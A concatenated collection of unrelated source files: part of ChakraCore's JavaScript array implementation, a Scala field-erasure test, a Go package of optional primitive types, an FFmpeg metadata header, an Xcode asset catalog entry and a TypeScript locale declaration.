(current == nullptr)\n {\n return false;\n }\n Assert(current->left + current->length >= startIndex + length);\n Field(T)* segmentCopyStart = current->elements + (startIndex - current->left);\n CopyValueToSegmentBuferNoCheck(segmentCopyStart, length, newValue);\n this->SetLastUsedSegment(current);\n#if DBG\n if (Js::Configuration::Global.flags.MemOpMissingValueValidate)\n {\n if (current == head)\n {\n Assert(ScanForMissingValues(0, this->length) != HasNoMissingValues());\n }\n }\n#endif\n return true;\n }\n\n template\n void JavascriptArray::DirectSetItem_Full(uint32 itemIndex, T newValue)\n {\n Assert(!SparseArraySegment::IsMissingItem(&newValue));\n\n DebugOnly(VerifyNotNeedMarshal(newValue));\n this->EnsureHead();\n AnalysisAssert(head);\n\n#ifdef VALIDATE_ARRAY\n ValidateArray();\n#endif\n\n if (itemIndex >= this->length)\n {\n if (itemIndex != JavascriptArray::InvalidIndex)\n {\n this->length = itemIndex + 1;\n }\n else\n {\n JavascriptError::ThrowRangeError(this->GetScriptContext(), JSERR_ArrayLengthAssignIncorrect);\n }\n }\n\n Recycler* recycler = GetRecycler();\n\n //Find the segment where itemIndex is present or is at the boundary\n SparseArraySegment* current = (SparseArraySegment*)this->GetBeginLookupSegment(itemIndex, false);\n // If it doesn't fit in current chunk (watch for overflow), start from beginning as we'll\n // need the prev\n if (current->left + current->size > current->left || itemIndex >= current->left + current->size)\n {\n current = SparseArraySegment::From(head);\n }\n SparseArraySegmentBase* prev = nullptr;\n\n#ifdef VALIDATE_ARRAY\n SparseArraySegmentBase* current_btree = nullptr;\n SparseArraySegmentBase* prev_btree = nullptr;\n bool first_pass = true;\n#endif\n\n SegmentBTreeRoot * segmentMap = GetSegmentMap();\n if (segmentMap)\n {\n SparseArraySegmentBase* prevSeg = nullptr;\n SparseArraySegmentBase* currentBase = current;\n segmentMap->Find(itemIndex, prevSeg, currentBase);\n current = (SparseArraySegment*)currentBase;\n Assert(!prevSeg || prevSeg->next == current);\n if (prevSeg)\n {\n bool noExactMatch = !current || itemIndex < current->left;\n Assert(prevSeg->left + prevSeg->size >= prevSeg->left);\n bool extendPrevSeg = itemIndex <= prevSeg->left + prevSeg->size;\n if (noExactMatch && extendPrevSeg)\n {\n current = SparseArraySegment::From(head);\n prev = nullptr;\n if (prevSeg != head)\n {\n // Since we are going to extend prevSeg we need the\n // address of it's left neighbor's next pointer\n currentBase = current;\n segmentMap->Find(prevSeg->left, prevSeg, currentBase);\n current = (SparseArraySegment*)currentBase;\n Assert(prevSeg && prevSeg->next == current);\n prev = prevSeg;\n }\n }\n else\n {\n prev = prevSeg;\n }\n }\n else\n {\n Assert(current == head);\n }\n }\n\n#ifdef VALIDATE_ARRAY\nSECOND_PASS:\n if (!first_pass)\n {\n current = (SparseArraySegment*)this->GetBeginLookupSegment(itemIndex, false);\n // If it doesn't fit in current chunk (watch for overflow), start from beginning as we'll\n // need the prev\n if (current->left + current->size > current->left || itemIndex >= current->left + current->size)\n {\n current = SparseArraySegment::From(head);\n }\n prev = nullptr;\n }\n#endif\n\n uint probeCost = 0;\n while(current != nullptr)\n {\n uint32 offset = itemIndex - current->left;\n if (itemIndex < current->left)\n {\n break;\n }\n else if (offset <= current->size)\n {\n if ((nullptr == current->next) || (itemIndex < current->next->left))\n {\n break;\n }\n }\n prev = current;\n current = SparseArraySegment::From(current->next);\n Assert(segmentMap == GetSegmentMap());\n if (!segmentMap)\n {\n probeCost++;\n if (probeCost > SegmentBTree::GetLazyCrossOverLimit())\n {\n // Build a SegmentMap\n segmentMap = BuildSegmentMap();\n\n SparseArraySegmentBase* prevSeg = nullptr;\n SparseArraySegmentBase* currentBase = current;\n segmentMap->Find(itemIndex, prevSeg, currentBase);\n current = (SparseArraySegment*)currentBase;\n Assert(prevSeg->next == current);\n if (prevSeg)\n {\n bool noExactMatch = !current || itemIndex < current->left;\n Assert(prevSeg->left + prevSeg->size >= prevSeg->left);\n bool extendPrevSeg = itemIndex <= prevSeg->left + prevSeg->size;\n if (noExactMatch && extendPrevSeg)\n {\n current = SparseArraySegment::From(head);\n prev = nullptr;\n if (prevSeg != head)\n {\n // Since we are going to extend prevSeg we need the\n // address of its left neighbor's next pointer\n currentBase = current;\n segmentMap->Find(prevSeg->left, prevSeg, currentBase);\n current = (SparseArraySegment*)currentBase;\n Assert(prevSeg->next == current);\n prev = prevSeg;\n }\n }\n else\n {\n prev = prevSeg;\n }\n }\n else\n {\n Assert(current == head);\n }\n }\n }\n }\n\n#ifdef VALIDATE_ARRAY\n Assert(segmentMap == GetSegmentMap());\n if (segmentMap && first_pass)\n {\n current_btree = current;\n prev_btree = prev;\n first_pass = false;\n goto SECOND_PASS;\n }\n else if (segmentMap)\n {\n Assert(current_btree == current && prev_btree == prev);\n }\n#endif\n\n\n if (current != nullptr)\n {\n uint32 offset = itemIndex - current->left;\n if ((itemIndex >= current->left) && (offset < current->size))\n {\n //itemIndex lies in the segment\n Assert(!(HasNoMissingValues() &&\n offset < current->length &&\n SparseArraySegment::IsMissingItem(¤t->elements[offset]) &&\n current == head));\n\n if(offset > current->length && current == head)\n {\n SetHasNoMissingValues(false);\n }\n\n const bool scanForMissingValues = NeedScanForMissingValuesUponSetItem(current, offset);\n\n ((SparseArraySegment*)current)->SetElement(recycler, itemIndex, newValue);\n\n if(scanForMissingValues)\n {\n ScanForMissingValues();\n }\n }\n else if ((itemIndex + 1) < current->left)\n {\n //itemIndex lies in between current and previous segment\n SparseArraySegment* newSeg = SparseArraySegment::AllocateSegment(recycler, prev, itemIndex);\n newSeg->SetElement(recycler, itemIndex, newValue);\n\n newSeg->next = current;\n LinkSegments((SparseArraySegment*)prev, newSeg);\n current = newSeg;\n TryAddToSegmentMap(recycler, newSeg);\n\n Assert(current != head);\n }\n else\n {\n //itemIndex is at boundary of current segment either at the left + size or at left - 1;\n Assert((itemIndex == current->left + current->size) || (itemIndex + 1 == current->left));\n\n SparseArraySegment* next = SparseArraySegment::From(current->next);\n\n Assert(segmentMap == GetSegmentMap());\n if (!segmentMap && next != nullptr && (itemIndex + 1) == next->left)\n {\n // Don't merge segments if we are using a segmentMap\n\n //Special case where we need to merge two segments. itemIndex is on the size boundary\n //of the current segment & left boundary of the next\n\n const bool currentWasFull = current->length == current->size;\n\n Assert(itemIndex == current->left + current->size);\n SparseArraySegmentBase* oldSegment = current;\n bool isInlineSegment = JavascriptArray::IsInlineSegment(oldSegment, this);\n current = SparseArraySegment::CopySegment(recycler, (SparseArraySegment*)current, next->left, next, next->left, next->length);\n current->next = next->next;\n current->SetElement(recycler, itemIndex, newValue);\n\n LinkSegments((SparseArraySegment*)prev, current);\n\n if(HasNoMissingValues() && current == head)\n {\n // We just merged the head segment and its next segment and filled the only missing value in-between the\n // two segments. We already know that the previous head segment does not have any missing values. If the\n // previous head segment was full, scan the new head segment starting from the merge point for missing\n // values. If the previous head segment was not full, then merging the segments would have created\n // missing values.\n SetHasNoMissingValues(false);\n if(currentWasFull)\n {\n ScanForMissingValues(offset + 1);\n }\n }\n\n if (isInlineSegment && current != oldSegment)\n {\n this->ClearElements(oldSegment, 0);\n }\n }\n else\n {\n if(offset > current->length && current == head)\n {\n SetHasNoMissingValues(false);\n }\n\n const bool currentWasHead = current == head;\n SparseArraySegmentBase* oldSegment = current;\n bool isInlineSegment = JavascriptArray::IsInlineSegment(oldSegment, this);\n uint originalKey = oldSegment->left;\n\n current = current->SetElementGrow(recycler, prev, itemIndex, newValue);\n Assert(segmentMap == GetSegmentMap());\n if (segmentMap)\n {\n segmentMap->SwapSegment(originalKey, oldSegment, current);\n }\n\n LinkSegments((SparseArraySegment*)prev, current);\n\n // Scan for missing values when the current segment was grown at the beginning and made the head segment\n if(!currentWasHead && current == head)\n {\n ScanForMissingValues();\n }\n\n if (isInlineSegment)\n {\n this->ClearElements(oldSegment, 0);\n }\n }\n }\n }\n else\n {\n // Reallocate head if need it meets a heuristics\n Assert(itemIndex >= head->size);\n if (prev == head // prev segment is the head segment\n && !head->next // There is only one head segment in the array\n && !segmentMap // There is no segmentMap which makes sure that array is not highly fragmented.\n && itemIndex - head->size <= MergeSegmentsLengthHeuristics // Distance to next index is relatively small\n )\n {\n current = SparseArraySegment::From(head)->GrowByMin(recycler, itemIndex + 1 - head->size);\n current->elements[itemIndex] = newValue;\n current->length = itemIndex + 1;\n current->CheckLengthvsSize();\n\n if (JavascriptArray::IsInlineSegment(head, this))\n {\n this->ClearElements(head, 0);\n }\n\n head = current;\n\n SetHasNoMissingValues(false);\n }\n else\n {\n //itemIndex is greater than the (left + size) of last segment in the linked list\n current = SparseArraySegment::AllocateSegment(recycler, itemIndex, 1, (SparseArraySegment *)nullptr);\n current->SetElement(recycler, itemIndex, newValue);\n LinkSegments((SparseArraySegment*)prev, current);\n TryAddToSegmentMap(recycler, current);\n\n if(current == head)\n {\n Assert(itemIndex == 0);\n Assert(current->length == 1);\n SetHasNoMissingValues();\n }\n }\n }\n\n this->SetLastUsedSegment(current);\n\n#ifdef VALIDATE_ARRAY\n ValidateArray();\n#endif\n }\n\n template\n bool JavascriptArray::NeedScanForMissingValuesUponSetItem(SparseArraySegment *const segment, const uint32 offset) const\n {\n Assert(segment);\n\n // Scan for missing values upon SetItem when a missing value is being filled and the surrounding values are not missing,\n // as this could be the last missing value that is being filled\n return\n offset < segment->length &&\n SparseArraySegment::IsMissingItem(&segment->elements[offset]) &&\n (offset == 0 || !SparseArraySegment::IsMissingItem(&segment->elements[offset - 1])) &&\n (offset == segment->length - 1 || !SparseArraySegment::IsMissingItem(&segment->elements[offset + 1])) &&\n segment == head;\n }\n\n template\n void JavascriptArray::ScanForMissingValues(const uint startIndex)\n {\n Assert(head);\n Assert(!HasNoMissingValues());\n\n SparseArraySegment *const segment = SparseArraySegment::From(head);\n const uint segmentLength = segment->length;\n const Field(T) * const segmentElements = segment->elements;\n for(uint i = startIndex; i < segmentLength; ++i)\n {\n if(SparseArraySegment::IsMissingItem(&segmentElements[i]))\n {\n return;\n }\n }\n\n SetHasNoMissingValues();\n }\n\n template\n bool JavascriptArray::ScanForMissingValues(const uint startIndex, const uint endIndex)\n {\n Assert(head);\n //Assert(!HasNoMissingValues());\n\n SparseArraySegment *const segment = SparseArraySegment::From(head);\n const Field(T) *const segmentElements = segment->elements;\n for (uint i = startIndex; i < endIndex; ++i)\n {\n if (SparseArraySegment::IsMissingItem(&segmentElements[i]))\n {\n return true;\n }\n }\n return false;\n }\n\n inline void JavascriptArray::DirectSetItemIfNotExist(uint32 index, Var newValue)\n {\n Assert(VirtualTableInfo::HasVirtualTable(this));\n Var oldValue;\n if (!DirectGetItemAt(index, &oldValue))\n {\n DirectSetItemAt(index, newValue);\n }\n }\n\n //Grow the array head and try to set at the boundary\n template\n inline BOOL JavascriptArray::TryGrowHeadSegmentAndSetItem(uint32 indexInt, unitType iValue)\n {\n SparseArraySegment *current = SparseArraySegment::From(head);\n\n if (indexInt == current->length // index is at the boundary of size & length\n && current->size // Make sure its not empty segment.\n && !current->next // There is only head segment.\n && current->length == current->size // Why did we miss the fastpath?\n && !SparseArraySegment::IsMissingItem(&iValue)) // value to set is not a missing value.\n {\n SparseArraySegmentBase *oldCurrent = current;\n bool isInlineSegment = JavascriptArray::IsInlineSegment(oldCurrent, this);\n current= current->GrowByMin(this->GetRecycler(), indexInt + 1);\n\n DebugOnly(VerifyNotNeedMarshal(iValue));\n current->elements[indexInt] = iValue;\n current->length = indexInt + 1;\n current->CheckLengthvsSize();\n // There is only a head segment in this condition A segment map is not necessary\n // and most likely invalid at this point. Also we are setting the head and lastUsedSegment\n // to the same segment. Precedent in the rest of the code base dictates the use of\n // SetHeadAndLastUsedSegment which asserts if a segment map exists.\n ClearSegmentMap();\n SetHeadAndLastUsedSegment(current);\n\n if (isInlineSegment)\n {\n this->ClearElements(oldCurrent, 0);\n }\n\n if (this->length <= indexInt)\n {\n this->length = indexInt + 1;\n }\n\n#ifdef VALIDATE_ARRAY\n ValidateArray();\n#endif\n return true;\n }\n return false;\n }\n\n //\n // JavascriptArray::IndexTrace specialized on uint32 (small index)\n //\n template<>\n inline Var JavascriptArray::IndexTrace::ToNumber(const uint32& index, ScriptContext* scriptContext)\n {\n return JavascriptNumber::ToVar(index, scriptContext);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::GetItem(JavascriptArray* arr, const uint32& index, Var* outVal)\n {\n return arr->DirectGetItemAt(index, outVal);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::SetItem(JavascriptArray* arr, const uint32& index, Var newValue)\n {\n return arr->SetItem(index, newValue, PropertyOperation_None);\n }\n\n template<>\n inline void JavascriptArray::IndexTrace::SetItemIfNotExist(JavascriptArray* arr, const uint32& index, Var newValue)\n {\n arr->DirectSetItemIfNotExist(index, newValue);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::DeleteItem(JavascriptArray* arr, const uint32& index)\n {\n switch (arr->GetTypeId())\n {\n case TypeIds_Array:\n return arr->DirectDeleteItemAt(index);\n\n case TypeIds_NativeIntArray:\n return arr->DirectDeleteItemAt(index);\n\n case TypeIds_NativeFloatArray:\n return arr->DirectDeleteItemAt(index);\n\n default:\n Assert(FALSE);\n return FALSE;\n }\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::SetItem(RecyclableObject* obj, const uint32& index, Var newValue, PropertyOperationFlags flags)\n {\n ScriptContext* requestContext = obj->GetScriptContext();\n return JavascriptOperators::SetItem(obj, obj, index, newValue, requestContext, flags);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::DeleteItem(RecyclableObject* obj, const uint32& index, PropertyOperationFlags flags)\n {\n return JavascriptOperators::DeleteItem(obj, index, flags);\n }\n\n //\n // JavascriptArray::IndexTrace specialized on BigIndex\n //\n template<>\n inline Var JavascriptArray::IndexTrace::ToNumber(const JavascriptArray::BigIndex& index, ScriptContext* scriptContext)\n {\n return index.ToNumber(scriptContext);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::GetItem(JavascriptArray* arr, const JavascriptArray::BigIndex& index, Var* outVal)\n {\n return index.GetItem(arr, outVal);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::SetItem(JavascriptArray* arr, const JavascriptArray::BigIndex& index, Var newValue)\n {\n return index.SetItem(arr, newValue);\n }\n\n template<>\n inline void JavascriptArray::IndexTrace::SetItemIfNotExist(JavascriptArray* arr, const JavascriptArray::BigIndex& index, Var newValue)\n {\n index.SetItemIfNotExist(arr, newValue);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::DeleteItem(JavascriptArray* arr, const JavascriptArray::BigIndex& index)\n {\n return index.DeleteItem(arr);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::SetItem(RecyclableObject* obj, const JavascriptArray::BigIndex& index, Var newValue, PropertyOperationFlags flags)\n {\n return index.SetItem(obj, newValue, flags);\n }\n\n template<>\n inline BOOL JavascriptArray::IndexTrace::DeleteItem(RecyclableObject* obj, const JavascriptArray::BigIndex& index, PropertyOperationFlags flags)\n {\n return index.DeleteItem(obj, flags);\n }\n\n template\n inline size_t JavascriptArray::DetermineAllocationSize(\n const uint inlineElementSlots,\n size_t *const allocationPlusSizeRef,\n uint *const alignedInlineElementSlotsRef)\n {\n CompileAssert(static_cast(InlinePropertySlots) == InlinePropertySlots);\n Assert(\n DynamicTypeHandler::RoundUpInlineSlotCapacity(static_cast(InlinePropertySlots)) ==\n InlinePropertySlots);\n\n CompileAssert(\n InlinePropertySlots <=\n (UINT_MAX - (sizeof(T) + sizeof(SparseArraySegment))) / sizeof(Var));\n const uint objectSize =\n sizeof(T) + sizeof(SparseArraySegment) + InlinePropertySlots * sizeof(Var);\n size_t totalSize = UInt32Math::MulAdd(inlineElementSlots);\n\n #if defined(TARGET_64)\n // On x64, the total size won't be anywhere near AllocSizeMath::MaxMemory on x64, so no need to check\n totalSize = HeapInfo::GetAlignedSizeNoCheck(totalSize);\n #else\n totalSize = HeapInfo::GetAlignedSize(totalSize);\n #endif\n\n if(allocationPlusSizeRef)\n {\n *allocationPlusSizeRef = totalSize - sizeof(T);\n }\n if(alignedInlineElementSlotsRef)\n {\n const size_t alignedInlineElementSlots = (totalSize - objectSize) / sizeof(typename T::TElement);\n *alignedInlineElementSlotsRef = static_cast(alignedInlineElementSlots);\n Assert(*alignedInlineElementSlotsRef == alignedInlineElementSlots); // ensure no truncation above\n }\n\n return totalSize;\n }\n\n template\n void JavascriptArray::EnsureCalculationOfAllocationBuckets()\n {\n uint temp;\n for (uint8 i = 0;i < ArrayType::AllocationBucketsCount;i++)\n {\n ArrayType::allocationBuckets[i][AllocationSizeIndex] = (uint)DetermineAllocationSize(ArrayType::allocationBuckets[i][AllocationBucketIndex], nullptr, &temp);\n ArrayType::allocationBuckets[i][MissingElementsCountIndex] = temp;\n }\n }\n\n template\n inline size_t JavascriptArray::DetermineAllocationSizeForArrayObjects(\n const uint inlineElementSlots,\n size_t *const allocationPlusSizeRef,\n uint *const alignedInlineElementSlotsRef)\n {\n uint8 bucketsCount = ArrayType::AllocationBucketsCount;\n\n EnsureCalculationOfAllocationBuckets();\n\n if (inlineElementSlots >= 0 && inlineElementSlots <= ArrayType::allocationBuckets[bucketsCount - 1][AllocationBucketIndex])\n {\n for (uint8 i = 0;i < bucketsCount;i++)\n {\n uint elementsCountToInitialize = ArrayType::allocationBuckets[i][MissingElementsCountIndex];\n uint allocationSize = ArrayType::allocationBuckets[i][AllocationSizeIndex];\n\n // Ensure we already have allocation size calculated and within range\n Assert(elementsCountToInitialize > 0 && elementsCountToInitialize <= ArrayType::allocationBuckets[bucketsCount - 1][MissingElementsCountIndex]);\n Assert(allocationSize > 0 && allocationSize <= ArrayType::allocationBuckets[bucketsCount - 1][AllocationSizeIndex]);\n\n if (inlineElementSlots <= ArrayType::allocationBuckets[i][AllocationBucketIndex])\n {\n if (alignedInlineElementSlotsRef)\n {\n *alignedInlineElementSlotsRef = elementsCountToInitialize;\n }\n if (allocationPlusSizeRef)\n {\n *allocationPlusSizeRef = allocationSize - sizeof(ArrayType);\n }\n return allocationSize;\n }\n }\n }\n\n return DetermineAllocationSize(inlineElementSlots, allocationPlusSizeRef, alignedInlineElementSlotsRef);\n }\n\n\n template\n inline uint JavascriptArray::DetermineAvailableInlineElementSlots(\n const size_t allocationSize,\n bool *const isSufficientSpaceForInlinePropertySlotsRef)\n {\n CompileAssert(static_cast(InlinePropertySlots) == InlinePropertySlots);\n Assert(\n DynamicTypeHandler::RoundUpInlineSlotCapacity(static_cast(InlinePropertySlots)) ==\n InlinePropertySlots);\n Assert(isSufficientSpaceForInlinePropertySlotsRef);\n\n CompileAssert(\n InlinePropertySlots <=\n (UINT_MAX - (sizeof(T) + sizeof(SparseArraySegment))) / sizeof(Var));\n *isSufficientSpaceForInlinePropertySlotsRef =\n sizeof(T) + InlinePropertySlots * sizeof(Var) + sizeof(SparseArraySegment) <= allocationSize;\n\n const size_t availableInlineElementSlots =\n (\n allocationSize -\n (sizeof(T) + InlinePropertySlots * sizeof(Var) + sizeof(SparseArraySegment))\n ) / sizeof(typename T::TElement);\n const uint availableInlineElementSlotsUint = static_cast(availableInlineElementSlots);\n Assert(availableInlineElementSlotsUint == availableInlineElementSlots); // ensure no truncation above\n return availableInlineElementSlotsUint;\n }\n\n template\n inline SparseArraySegment *JavascriptArray::DetermineInlineHeadSegmentPointer(T *const array)\n {\n Assert(array);\n Assert(VirtualTableInfo::HasVirtualTable(array) || VirtualTableInfo>::HasVirtualTable(array));\n Assert(!UseDynamicInlinePropertySlots || ConstInlinePropertySlots == 0);\n Assert(\n UseDynamicInlinePropertySlots ||\n ConstInlinePropertySlots == array->GetTypeHandler()->GetInlineSlotCapacity());\n\n const uint inlinePropertySlots =\n UseDynamicInlinePropertySlots ? array->GetTypeHandler()->GetInlineSlotCapacity() : ConstInlinePropertySlots;\n Assert(inlinePropertySlots == 0 || array->GetTypeHandler()->GetOffsetOfInlineSlots() == sizeof(T));\n\n return\n reinterpret_cast *>(\n reinterpret_cast(array + 1) + inlinePropertySlots);\n }\n\n //\n // ItemTrace specializations\n //\n template<>\n inline uint32 JavascriptArray::ItemTrace::GetLength(JavascriptArray* obj, ScriptContext* scriptContext)\n {\n return obj->GetLength();\n }\n template<>\n inline BOOL JavascriptArray::ItemTrace::GetItem(JavascriptArray* obj, uint32 index, Var* outVal, ScriptContext* scriptContext)\n {\n Assert(JavascriptArray::IsDirectAccessArray(obj));\n return obj->DirectGetItemAtFull(index, outVal); // Note this does prototype lookup\n }\n\n template<>\n inline uint32 JavascriptArray::ItemTrace::GetLength(RecyclableObject* obj, ScriptContext* scriptContext)\n {\n return JavascriptConversion::ToUInt32(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);\n }\n template<>\n inline BOOL JavascriptArray::ItemTrace::GetItem(RecyclableObject* obj, uint32 index, Var* outVal, ScriptContext* scriptContext)\n {\n return JavascriptOperators::GetItem(obj, index, outVal, scriptContext);\n }\n\n} // namespace Js\n"} +{"text": "\nobject Test {\n def main(args: Array[String]): Unit = {\n try {\n println(\"0\")\n val f = new Foo\n println(\"1\")\n f.foo\n f.foo\n f.foo = {\n println(\"foo3\")\n ???\n }\n println(f.foo)\n } catch {\n case e: NotImplementedError => println(\"???\")\n }\n\n assert(!classOf[Foo].getDeclaredFields.exists(_.getName.startsWith(\"foo\")), \"field foo not erased\")\n }\n\n\n}\n\nclass Foo {\n var foo: Nothing = {\n println(\"foo\")\n ???\n }\n\n foo = {\n println(\"foo2\")\n ???\n }\n}\n"} +{"text": "// Copyright 2016 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package optional provides versions of primitive types that can\n// be nil. These are useful in methods that update some of an API object's\n// fields.\npackage optional\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype (\n\t// Bool is either a bool or nil.\n\tBool interface{}\n\n\t// String is either a string or nil.\n\tString interface{}\n\n\t// Int is either an int or nil.\n\tInt interface{}\n\n\t// Uint is either a uint or nil.\n\tUint interface{}\n\n\t// Float64 is either a float64 or nil.\n\tFloat64 interface{}\n\n\t// Duration is either a time.Duration or nil.\n\tDuration interface{}\n)\n\n// ToBool returns its argument as a bool.\n// It panics if its argument is nil or not a bool.\nfunc ToBool(v Bool) bool {\n\tx, ok := v.(bool)\n\tif !ok {\n\t\tdoPanic(\"Bool\", v)\n\t}\n\treturn x\n}\n\n// ToString returns its argument as a string.\n// It panics if its argument is nil or not a string.\nfunc ToString(v String) string {\n\tx, ok := v.(string)\n\tif !ok {\n\t\tdoPanic(\"String\", v)\n\t}\n\treturn x\n}\n\n// ToInt returns its argument as an int.\n// It panics if its argument is nil or not an int.\nfunc ToInt(v Int) int {\n\tx, ok := v.(int)\n\tif !ok {\n\t\tdoPanic(\"Int\", v)\n\t}\n\treturn x\n}\n\n// ToUint returns its argument as a uint.\n// It panics if its argument is nil or not a uint.\nfunc ToUint(v Uint) uint {\n\tx, ok := v.(uint)\n\tif !ok {\n\t\tdoPanic(\"Uint\", v)\n\t}\n\treturn x\n}\n\n// ToFloat64 returns its argument as a float64.\n// It panics if its argument is nil or not a float64.\nfunc ToFloat64(v Float64) float64 {\n\tx, ok := v.(float64)\n\tif !ok {\n\t\tdoPanic(\"Float64\", v)\n\t}\n\treturn x\n}\n\n// ToDuration returns its argument as a time.Duration.\n// It panics if its argument is nil or not a time.Duration.\nfunc ToDuration(v Duration) time.Duration {\n\tx, ok := v.(time.Duration)\n\tif !ok {\n\t\tdoPanic(\"Duration\", v)\n\t}\n\treturn x\n}\n\nfunc doPanic(capType string, v interface{}) {\n\tpanic(fmt.Sprintf(\"optional.%s value should be %s, got %T\", capType, strings.ToLower(capType), v))\n}\n"} +{"text": "/**\n * Copyright (c) 2016 Neil Birkbeck \n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#ifndef AVUTIL_MASTERING_DISPLAY_METADATA_H\n#define AVUTIL_MASTERING_DISPLAY_METADATA_H\n\n#include \"frame.h\"\n#include \"rational.h\"\n\n\n/**\n * Mastering display metadata capable of representing the color volume of\n * the display used to master the content (SMPTE 2086:2014).\n *\n * To be used as payload of a AVFrameSideData or AVPacketSideData with the\n * appropriate type.\n *\n * @note The struct should be allocated with av_mastering_display_metadata_alloc()\n * and its size is not a part of the public ABI.\n */\ntypedef struct AVMasteringDisplayMetadata {\n /**\n * CIE 1931 xy chromaticity coords of color primaries (r, g, b order).\n */\n AVRational display_primaries[3][2];\n\n /**\n * CIE 1931 xy chromaticity coords of white point.\n */\n AVRational white_point[2];\n\n /**\n * Min luminance of mastering display (cd/m^2).\n */\n AVRational min_luminance;\n\n /**\n * Max luminance of mastering display (cd/m^2).\n */\n AVRational max_luminance;\n\n /**\n * Flag indicating whether the display primaries (and white point) are set.\n */\n int has_primaries;\n\n /**\n * Flag indicating whether the luminance (min_ and max_) have been set.\n */\n int has_luminance;\n\n} AVMasteringDisplayMetadata;\n\n/**\n * Allocate an AVMasteringDisplayMetadata structure and set its fields to\n * default values. The resulting struct can be freed using av_freep().\n *\n * @return An AVMasteringDisplayMetadata filled with default values or NULL\n * on failure.\n */\nAVMasteringDisplayMetadata *av_mastering_display_metadata_alloc(void);\n\n/**\n * Allocate a complete AVMasteringDisplayMetadata and add it to the frame.\n *\n * @param frame The frame which side data is added to.\n *\n * @return The AVMasteringDisplayMetadata structure to be filled by caller.\n */\nAVMasteringDisplayMetadata *av_mastering_display_metadata_create_side_data(AVFrame *frame);\n\n#endif /* AVUTIL_MASTERING_DISPLAY_METADATA_H */\n"} +{"text": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"dropdown_anim__00053@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "declare const _default: {\r\n \"_decimalSeparator\": string;\r\n \"_thousandSeparator\": string;\r\n \"_big_number_suffix_3\": string;\r\n \"_big_number_suffix_6\": string;\r\n \"_big_number_suffix_9\": string;\r\n \"_big_number_suffix_12\": string;\r\n \"_big_number_suffix_15\": string;\r\n \"_big_number_suffix_18\": string;\r\n \"_big_number_suffix_21\": string;\r\n \"_big_number_suffix_24\": string;\r\n \"_small_number_suffix_3\": string;\r\n \"_small_number_suffix_6\": string;\r\n \"_small_number_suffix_9\": string;\r\n \"_small_number_suffix_12\": string;\r\n \"_small_number_suffix_15\": string;\r\n \"_small_number_suffix_18\": string;\r\n \"_small_number_suffix_21\": string;\r\n \"_small_number_suffix_24\": string;\r\n \"_byte_suffix_B\": string;\r\n \"_byte_suffix_KB\": string;\r\n \"_byte_suffix_MB\": string;\r\n \"_byte_suffix_GB\": string;\r\n \"_byte_suffix_TB\": string;\r\n \"_byte_suffix_PB\": string;\r\n \"_date_millisecond\": string;\r\n \"_date_second\": string;\r\n \"_date_minute\": string;\r\n \"_date_hour\": string;\r\n \"_date_day\": string;\r\n \"_date_week\": string;\r\n \"_date_month\": string;\r\n \"_date_year\": string;\r\n \"_duration_millisecond\": string;\r\n \"_duration_millisecond_second\": string;\r\n \"_duration_millisecond_minute\": string;\r\n \"_duration_millisecond_hour\": string;\r\n \"_duration_millisecond_day\": string;\r\n \"_duration_millisecond_week\": string;\r\n \"_duration_millisecond_month\": string;\r\n \"_duration_millisecond_year\": string;\r\n \"_duration_second\": string;\r\n \"_duration_second_minute\": string;\r\n \"_duration_second_hour\": string;\r\n \"_duration_second_day\": string;\r\n \"_duration_second_week\": string;\r\n \"_duration_second_month\": string;\r\n \"_duration_second_year\": string;\r\n \"_duration_minute\": string;\r\n \"_duration_minute_hour\": string;\r\n \"_duration_minute_day\": string;\r\n \"_duration_minute_week\": string;\r\n \"_duration_minute_month\": string;\r\n \"_duration_minute_year\": string;\r\n \"_duration_hour\": string;\r\n \"_duration_hour_day\": string;\r\n \"_duration_hour_week\": string;\r\n \"_duration_hour_month\": string;\r\n \"_duration_hour_year\": string;\r\n \"_duration_day\": string;\r\n \"_duration_day_week\": string;\r\n \"_duration_day_month\": string;\r\n \"_duration_day_year\": string;\r\n \"_duration_week\": string;\r\n \"_duration_week_month\": string;\r\n \"_duration_week_year\": string;\r\n \"_duration_month\": string;\r\n \"_duration_month_year\": string;\r\n \"_duration_year\": string;\r\n \"_era_ad\": string;\r\n \"_era_bc\": string;\r\n \"A\": string;\r\n \"P\": string;\r\n \"AM\": string;\r\n \"PM\": string;\r\n \"A.M.\": string;\r\n \"P.M.\": string;\r\n \"January\": string;\r\n \"February\": string;\r\n \"March\": string;\r\n \"April\": string;\r\n \"May\": string;\r\n \"June\": string;\r\n \"July\": string;\r\n \"August\": string;\r\n 